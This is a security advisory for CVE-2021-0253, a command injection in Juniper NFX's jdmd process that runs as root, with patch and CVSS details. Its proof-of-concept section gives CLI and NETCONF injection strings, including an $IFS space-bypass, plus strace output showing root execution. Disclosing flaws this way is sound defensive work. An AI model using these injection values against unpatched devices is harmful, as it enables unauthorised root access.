Junos OS: NFX Series: Local Command Execution Vulnerability in JDMD Leads to Privilege Escalation (CVE-2021-0253)

High orange-cert-cc published GHSA-vrf9-cjcp-rwcr on Nov 24, 2021

Package

Junos OS (Juniper)

Affected versions	Patched versions
19.2R1.8 19.1R2	None

Description

Overview

On Juniper NFX product, a command injection is possible from management plan (CLI/Netconf) on jdmd process resulting on execution with full privileges on the host.

Details

Some user inputs from management plan are concatenated into an XML and sent to jdmd. At the XML reception jdmd execute some commands/scripts with these user inputs as parameters by using popen().
popen() is dangerous as it executes shell commands wich makes parameters interpretable.

This vulnerability is applicable to most of the unvalidated user inputs sent to jdmd and that are used as script parameters.

jdmd run as root on a privileged container making jdmd run at the highest privilege level on the host.
(Also there is some dangerous file system mapping with the host that makes container escape possibility easier)

Proof of Concept

Via cli:

```
user> show virtual-network-functions "user$(id)"
```

Via netconf:

```
<?xml ?>
<rpc>
  <get-virtual-network-functions-information>
     <vnf-name>cyrillec$(id)</vnf-name>
  </get-virtual-network-functions-information>
</rpc>
```

It results on "id" command execution by jdmd:

```
root@local-node:~# strace -f -s 4096 -e execve -p <pid of jdmd>
Process 12218 attached
Process 18947 attached
[pid 18947] execve("/bin/sh", ["sh", "-c", "/usr/sbin/vnf_info.py -n  \"user$(id)\""], [/* 10 vars */]) = 0
Process 18948 attached
Process 18949 attached
[pid 18949] execve("/usr/bin/id", ["id"], [/* 9 vars */]) = 0
[pid 18949] +++ exited with 0 +++
[pid 18948] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=9438, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
[pid 18948] +++ exited with 0 +++
[pid 18947] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=9437, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
[pid 18947] execve("/usr/sbin/vnf_info.py", ["/usr/sbin/vnf_info.py", "-n", "useruid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(field),31(guest),73(config)"], [/* 9
vars */]) = 0
[pid 18947] +++ exited with 0 +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=9436, si_uid=0, si_status=0, si_utime=8, si_stime=4} ---
```

It is also possible to use space in the injection by using $IFS. For instance:

```
user> show virtual-network-functions "cyrillec$(touch$IFS/tmp/user)"
```

Solution

Security patch

The following software releases have been updated to resolve this specific issue: 18.3R3-S4, 18.4R2-S5, 18.4R3-S5, 19.1R3-S3, 19.2R3, 19.3R3, 19.4R2-S2, 20.1R1 and all subsequent releases.

Workaround

There are no workarounds that address this vulnerability.

References

https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11146
https://nvd.nist.gov/vuln/detail/CVE-2021-0253

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: July 30, 2019
Date fixed: April 14,, 2021

Severity

High 7.8 / 10

CVSS base metrics

Attack vector	**Local**
Attack complexity	**Low**
Privileges required	**Low**
User interaction	**None**
Scope	**Unchanged**
Confidentiality	**High**
Integrity	**High**
Availability	**High**

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2021-0253

Weaknesses

CWE-77